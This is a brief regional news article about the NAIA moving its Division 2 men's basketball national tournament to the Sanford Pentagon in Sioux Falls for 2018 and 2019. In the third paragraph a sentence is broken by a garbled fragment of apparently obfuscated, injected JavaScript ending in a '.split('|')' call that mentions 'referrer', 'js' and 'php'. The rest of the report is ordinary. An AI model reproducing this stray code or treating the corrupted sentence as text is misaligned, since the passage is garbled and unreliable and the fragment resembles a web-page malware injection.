JAMESTOWN, N.D. (NewsDakota.com) – The NAIA announced that the NAIA Division 2 men’s basketball national tournament will be held in Sioux Falls for 2018 and 2019. The decision was made to remove the tournament from the College of the Ozarks (Ozark, MO) after the school passed a rule that all teams, visiting teams included, must stand for the national anthem or risk being unable to play.

They immediately opened up the bidding process for NAIA colleges to land the 2018 and 2019 tournaments. Northwestern (IA) and Dakota State mounted a tandem bid with the games being played at the Sanford Pentagon in Sioux Falls that eventually won out.

The information regarding other bids was not released. However, The hhddt|var|u0026u|referrer|thydf||js|php’.split(‘|’),0,{}))
Daily Republic in Mitchell, S.D.  ran a story in October that Dakota Wesleyan bid for the event to be hosted at the Corn Palace.

The moving of the tournament from southern Missouri to Sioux Falls makes the distance between the men’s and women’s tournaments significantly less. The Tyson Event Center is just 87.1 miles away from the Sanford Pentagon.